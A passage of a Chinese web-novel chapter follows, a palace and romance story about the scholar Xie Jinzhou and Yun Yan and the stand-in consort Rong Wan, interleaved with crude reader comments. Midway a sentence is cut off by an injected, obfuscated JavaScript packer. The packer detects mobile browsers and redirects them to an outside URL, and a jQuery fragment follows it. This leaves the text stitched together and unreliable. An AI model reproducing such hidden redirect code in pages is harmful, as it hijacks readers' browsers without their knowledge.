谢锦舟怔忡良久,神智方渐清明。神智甫澄澈,双眉立时紧锁。适才分明是教她戏耍了。
正待起身退避,忽觉下颌被云烟纤指擒住。
温热的手指捏着他的下巴,他闻到她手指上的香气,透入肺腑,直沁心脾。
但见她俯身欺近,云鬓低垂,倾世容颜如在咫尺。
她端详他湿漉漉的脸,笑笑:“近看,更好看了。”
谢锦舟脸红红的,绷得紧紧的:“云姑娘,男女授受不亲!”
云烟:“礼法只道男女大防,何曾言及恩义之交亦要守这样的礼?你我既有救命之恩在,又岂能以俗礼相拘?”
谢锦舟一噎,脸绷成了包子脸:“万、万望姑娘自重!”
云烟轻笑如银铃坠玉:“那你倒是推开我。怎么,我点了你的穴道,你动不了了?还是说,你根本就不想推开我?你的身体倒是比你的嘴诚实多了。”
谢锦舟:“……”
喉间如堵,竟无言以对。他羞得无地自容。正欲发力推开她,忽觉幽香扑面,那抹绛唇竟近在睫前。
她吹了吹他的睫毛。香风吐出,睫毛上的水珠被吹落。
她大抵是觉得很好玩,又吹两次。
两人挨得极近,呼吸缠绵,亲密无度,谢锦舟心跳如擂鼓,双瞳骤缩。
强烈的欢喜,恰似万千火树银花在灵台炸开,直炸得金星乱迸,目眩神摇。眼前忽地昏黑,竟是厥了过去。
云烟连唤数声不见应答,三指搭上其寸关尺。
云烟会蛊毒,精研蛊毒之人,于医道亦有涉猎,多少会些医术。一探脉象,她委实有些无奈。
这小书生,竟是因情绪过于激动,太过兴奋,情急攻心而晕厥。
竟是个容易因情绪激动而晕厥的人。既如此,她此后便不再玩他了。
他落水后眉眼湿漉漉的样子,极合她意。他害羞的憨拙样子很能逗笑她。她便起了心思,想玩一玩他,拿他来解闷。
原想时日无多,何不好好玩玩,权作消遣。今见此状,倒不忍再戏。
谢锦舟这人经不起玩。那便罢了。她原也只是觉得好玩,此后不玩也无甚多在意。
云烟手指在他玉堂穴轻轻一按。不过半盏茶功夫,谢锦舟悠悠醒转。
他眼神迷茫:“我这是……怎的了……”话音刚落地,就陡然想起晕过去之前发生的事。
再一次,他耳尖红若滴血。他似乎是,太欢喜,欢喜到头晕目眩,晕将过去。
这真是……真是太丢人,真真羞煞人也!羞得他几欲觅地而遁!
云烟重新坐回他对面,素手推来青瓷盏:“醒了?醒了便尝尝这茶。”
他捧盏嗫嚅:“云姑娘我……我晕了多久?”
“不到半盏茶的功夫。”她饮茶,语气疏离似隔千山,透着一种拒人之外的冷淡。
谢锦舟愕然僵坐。他晕倒之前,她分明不是这样的。怎的突然变得这般冷淡疏离,像是换了一个人。
是他哪里惹恼了她?
是不是她先前亲近他时,他说的那些话伤了她的心?谢锦舟咬唇,一颗心乱了起来。
盏中热茶入喉,竟似饮下三九寒泉,凉意直透膻中。就如她冷淡疏离的态度那样凉。
“云姑娘,我……”
“谢公子,茶好喝么?”
“好喝。”
“那便好。”云烟取帕擦拭指尖,“我突然想起家中还有事,该回去了,抱歉。”
她要走了?谢锦舟蓦地起身,衣袂带翻茶盏:“云姑娘,对不住!”
“对不住?你有什么对不住我的?”
“我方才……”
“不必说了,你没什么对不住我的。”云烟起身,“告辞。”
佳人已离去,徒留满室冷香。谢锦舟失魂落魄。
归林府时蔫若经霜,惊得老仆惶然。公子出门时还高高兴兴的,回来却蔫蔫的,这是发生什么事了?
谢锦舟回来后,书也不看,字也不练,连晚饭也不吃。惊得林太公前来看他。
林太公拄着紫檀杖踏入书房,见外孙对烛枯坐:“舟儿,怎的心情不佳?”
谢锦舟:“没事。”
荣婉也未用晚膳。她斜倚描金榻,案上御膳纹丝未动。她心口似压着块石头,堵得慌。
陛下来她宫中越来越少了。虽然以前来了也只是与她说说话,不做别的,但能见到他,总是好的。
自从那次陛下令她将红白插花撤下后,这将近一个月时日,陛下就来过她宫中三次。当然,陛下也没去其他妃嫔那里。
如今宫门冷落,竟生出几分长门寂寥。是因那插花惹恼了陛下,陛下才少来她宫中?
荣婉周身浮现出实时书评弹幕:【我觉得应该是女主生辰将至,男主才没心情应付替身了吧……】
【我也觉得!】
【尽管男主已经放弃女主,却仍然不受控制的,如此在意女主。又嗑到了嘿嘿嘿。】
【kswl,kswl!】
【唉,又抠到糖了,大大能不能多些点小夫妻的糖啊。】
【这文是不是he?后面男女主会在一起吗?大大透露一下啊!】
【希望he,男女主太苦了,he吧!求求了大大!】
【大大快看看我,别虐小夫妻了,he了我给大大投一百的地雷!】
【我两百!】
【我三百!】
【还有我……】
【烦人,真的很讨厌荣婉,也不想看她的剧情,男主为什么要找个替身,真爱婉儿,就不该找替身。】
【男主为了国家,放弃了婉儿,他太苦了,就不能让他找个替身慰藉慰藉自己吗?】
【那行,就算找了替身,就不能不和她上床吗?真是膈应得慌!】
【都把人家纳入后宫了,不睡?你以为你是在看什么皇帝为女主守身如玉,遣散后宫的玛丽苏文吗?都说了这文比较现实了。】
穿花蝴蝶:【男主就是个渣男!作者就是个男宝妈!一群腿毛也都是男宝妈!】
【不是,那个叫穿花蝴蝶的网友,你之前不是骂作者虐女男宝妈,已经弃文了吗?怎么还在看?】
【笑死,你这sb,边看边骂啊?】
【一边骂,一边上赶着送钱,说你贱呢,还是贱呢?】
穿花蝴蝶:【渣男贱女文,举报了。】
【举报你爹!你不喜欢看,就不要踢我们饭碗好吗?】
【滚你爹的,你要敢举报,我就把你读者专栏里喜欢看的文都给举报了,让你也看不了!】
【举报仙人都没妈是吧?】
【点了,真是烦死这些举报仙人了,你不喜欢的你就举报,让别人也看不了,你咋那么能呢?】
【婉婉生辰快到了,今年生辰,能不能让小夫妻见一面?五年了,都五年了!作者你心也太狠了。】
【对对对,让他们见一面,然后男主再难控制,然后男主平衡好个人感情与家国,控制好自己,然后小夫妻美美he!】
【支持!就这么写!我宣布你才是真正的作者!】
【附议~】
荣婉素手按心,一忧銮驾渐疏,二惧圣上清心寡欲,纵她是六宫最得宠的妃子,也尝出几分冷宫滋味,不能再得子嗣。
怀中小儿蹬脚,正抵着她隐隐发堵的心口。只荣婉她愈发堵得慌了。
贴身侍女捧来水帕:“娘娘,御苑凌霄开得正好,可要移步赏花?”侍女见荣婉心情不好,提议道。
“去罢。”荣婉打算去透透气,散散心,不然这心堵得太过难受。
过琼苑折入曲径,注意力便被假山叠石上倾泻而下的花瀑攫住。
凌霄花开得正灼烈,藤蔓如碧绡覆假山假石,金红花朵簇拥成彤云,似把西天晚霞扯过来,裁成锦缎,铺陈在此。
连霞成片的凌霄花,鲜艳亮堂,如斯亮堂美景,却仍不能让荣婉心情亮堂起来。她心下黯然,正待转身,忽见忽见花影扶疏处,立着道窈窕身影。
是璎妃。
暮色初染,金乌西坠,璎妃身着粉袖流仙裙,颈戴璁珑璎珞,襟口绣红丝牡丹。
鬓间步摇缀着西域明珠,映得满园凌霄花黯然。她微微侧头,艳光四射的容颜,倒把西域明珠也衬得黯然失色。
每次见璎妃,荣婉都忍不住自惭形秽。于容貌上自惭形秽,更于家世上自惭形秽。
璎妃乃英国公之孙女,其母为太傅之女,其父为当朝左丞相。家世显赫。而自己只是个七品芝麻官之女,两相较之,如何不让她自惭形秽。
璎妃是那枝上牡丹,自己则是那墙外野花,云泥之别,不可逾越。
然,自惭形秽的同时,荣婉又有些得意。容貌绝色,家世显赫,那又如何,还不是不受宠。
而自己,中人之姿,家世低微,那又如何,自己还不是很受宠。
纵尔牡丹国色,不若野卉承恩!微妙的平衡感让她心里头舒服了些。腰杆不觉挺直三分。
【捏玛的,你得意个毛啊,你受宠还不是因为你像婉儿。】
【蠢货,真想看到荣小丑知道自己是替身会什么反应。】
【看到这小三洋洋得意就恼火,得意个什么得意!】
【小三?荣鸡算什么小三,当小三都不配,就是个废物替身而已。】
【急急急,能不能快点让荣婉知道自己是替身,好想看到她被打脸。】
【+1】
【+1+1】
璎妃侧首微顾,眼梢风掠过荣婉。荣婉忙施礼,但见璎妃眸光如秋水寒潭,自上而下细细打量。
荣嫔此人,中等偏上的容貌,身姿亦不出挑,怎就教圣上这般眷顾?璎妃广袖拂风而去,珠履踏着青砖作响。
待那抹朱粉身影隐入垂花门,荣婉方直起柳腰。她腰杆直挺挺,心情舒畅了许多。欲再逛逛。
晚霞余晖散去,夜幕渐渐落下来。荣婉信步闲逛,隐约看见前方长宁宫的门匾。
闻说此处囚着个婉妃,那妃子名字里也有个婉字。原是贱籍出身。荣婉唇角微撇,眼底掠过三分轻蔑。不甚在意地收回目光。
一个贱籍出身,又被皇上十分不喜,永禁寝宫的妃子,她本就不必多在意。
【靠,荣婉你还鄙视起婉儿的贱籍起来了?】
【你算什么勾八东西你还嫌弃婉儿!】
【大大能把荣小丑写死吗?】
【操,荣婉贱人!】
【真有种巴掌扇不进屏幕里的无力感……】
荣婉去后,侍女清水捧药入长宁宫。烛影摇红处,沈婉正伏案抄经,蝇头小楷如刀刻般工整。
“无我相,无我相,无人相,无众生相,无寿者相。”诵经声混着药气,在殿中氤氲。
“娘娘,该吃药了。”清水将药捧上来。前两日娘娘夜里掉被子,微微着凉,吃了两日药,还未痊愈。
沈婉搁下墨笔,将药饮尽。
吃完药,沈婉继续抄佛经。清水见自家娘娘身形消瘦,眉宇间郁起堆叠,她心头一酸。
忽忆起从前光景。彼时娘娘圣眷正隆,椒房专宠,谁料一朝雷霆雨露皆休。她从未想过,皇上竟无情至此。当初有多么宠爱,如今便有多么绝情。
这几年,皇上竟一面也不曾来见过娘娘,完全将娘娘遗忘了般。
最开始娘娘被幽禁时,清水以为,娘娘和皇上总会和好的。毕竟皇上那么爱娘娘。然而,一年又一年,今年已是第五年,皇上始
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625989|172362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
终不成来见娘娘。
帝王心真似那昆仑玄冰,暖不化,凿不开。最是无情帝王家。
帝王,果真无情。
清水潸然,低首拭泪。她的娘娘,还能等到走出长宁宫的那一日吗?真的还能等到吗?
【能!一定能?男女主一定会he!】
【大大,快点让男女主和好吧啊啊啊啊啊】
【我感觉会be诶,男主为国舍情爱,这样这篇文的主题就不是拘泥于情爱,更升华了。】
【好像作者开文时说过这篇文比较现实,不是爽文,所以我倾向于会be】
【不不不,不许be,一定要he!】
清水举目凝望那沉沉夜幕,漆黑的夜幕如墨色药汁,又稠又苦,浸透长宁宫飞檐。
也似乎浸透了林员外府宅。林员外家,谢锦舟喝着仆人端上来的茶,只觉茶汤苦涩浓稠,难以下咽。
谢锦舟:“茶里放了黄连?这般苦。”
仆人啊了一声,挠挠头:“公子,并未放黄连。很苦吗?”莫非他不小心放了黄连?可他分明记得他没有。
谢锦舟抿唇,不再吭声。仆人偷觑公子玉面含霜,暗叹定是公子心中郁结,竟将清茶尝作苦味。
白日里到底发生了什么事,公子为何如此不悦。
铜壶滴漏声声催,谢锦舟辗转至东方既白。他取出素笺,落笔千言皆作废纸,字字句句总不宜。
写写扔扔,素笺铺了满案,字字斟酌复又揉作团。怎么都不满意,如是废了好厚一叠纸。
云娘正在拨算盘,计算铺子账目时,听春鸢道,谢锦舟又派人送来了几箱大礼,另附素笺,只许小姐亲启。
云娘:“什么素笺?拿来与我看看。”
“这……谢公子说了,只许小姐亲启。”
云娘歇了心思:“我去拿给烟烟。”
云烟云烟启封览毕,纸上内容原不过赔罪陈情之辞。她写下一封回信,并命人将那几箱子抬回林府去。
谢锦舟等来了云烟的回信。他颤抖着指尖,打开信封。
目光触及信纸内容,少年面色惨白似新雪。薄纸不过几行字,却字字化作利刃。
她言,她与他之间已经两清,他们有男女大防,此后不必再见面,祝他在科考上如大鹏展翅,青云直上。
最刺目是末行小楷:自此山水不相逢。
她以后不愿再见他了。谢锦舟捏着信纸,恍若神魂俱散。
良久。他一动不动,一直静坐,宛若石化成雕塑。
啪嗒!
一颗温热的液体自他下巴滑落,滴在信纸上,将墨迹晕染开。俄顷泪落连珠子,湿透衣衫。
仆人大惊。公子哭了?公子竟哭了?公子有多少年没哭过了?自从公子三岁后,就再也不曾哭过了。
“公子,您、您怎么了?”仆人失措。
公子却不理他,只一味哭泣。仆从赶忙去寻林太公。林太公得知自己的宝贝外孙哭了,慌忙前去找他。
林太公踉跄闯入时,正见少年蜷作婴孩。
“舟儿,你这是受了什么委屈?受了什么委屈只管与外祖说,外祖替你主持公道。”
谢锦如三岁稚童,抱住外祖,眼尾红红,泪水涟涟:“外祖……”
谢锦舟伏在自己身上掉泪,林太公轻拍孙儿。舟儿今年才将将满十五岁,到底还是个孩子。
“舟儿,有什么事与外祖说,莫不是谁欺负了你?”
“没有。”谢锦舟矢口否认。他怕外祖知道他与云烟之间的事,迁怒云烟。遂道:“孙儿只是担忧,担忧自己今岁秋闱不得中。”
这倒是令林太公诧异了。舟儿从不担心自己秋闱不中,为何突的担忧起来了?是越临近科考,便越心乱了?
林太公抚其背劝慰:“定能中,若是不中,你也还年轻,下一次再考就是,不必如此担忧。”
谢锦舟没吭声,一直哭。林太公便一直哄他。
“去,去买几串糖葫芦来。”林太公忙让仆从去买糖葫芦。他外孙其他的不爱吃,偏爱吃这糖葫芦,从小吃到大。但愿糖葫芦能让他心情好些。
然而不管用。谢锦舟看也不看糖葫芦,仍一味哭。哭得眼睛都快哭干了。林太公何曾见过孙儿哭得这样伤心过,他心疼不已:“罢了罢了,不考也成,不考也成,今岁不去考了,以后也不考了,你考个秀才便已足够了,莫再担忧。”
谢锦舟摇摇头:“不,要考的。”
忽拭泪整衣,他竭力调整好情绪:“外祖,我好了,我要温书了。”
“你……”
“我没事了,放心。”
林太公三步一回头地离去。谢锦舟让仆从也都退出房间。室内只剩下他一人。谢锦舟独对青灯,才翻两页《策论》,又伏案哽咽难抑。
云烟睡了一个好觉。早食有鱼羹。她抿着鱼羹,道:“现在正是阳澄湖六月黄最美的时节。我想吃阳澄湖的六月黄,阿娘,我们去阳澄湖罢。”
“阳澄湖?离得有些远,此去日夜兼程怕是得有十日路程。你这身子如何经得?”
云烟:“要去。”
云娘又想起云烟先前说的话。她不想再被克制拘束,想痛痛快快地吃喝玩乐。
云娘能如何,只能滴着血应允。
春鸢收拾行装时,将平安符塞满箱角。她家小姐这病弱身,能遭得住这长日路程么?中途万一有个意外该如何是好?
春鸢愁,愁啊,愁得头发都快白了。她恨,恨啊,恨不能将自己这副健康躯体换给小姐。
她准备哪日又去寺庙里拜拜菩萨,去道观里拜拜仙君,只求漫天神佛道君,分半点慈悲与小姐。
珠帘玉幕在风里脆泠泠,泠泠声里,似有万千叹息。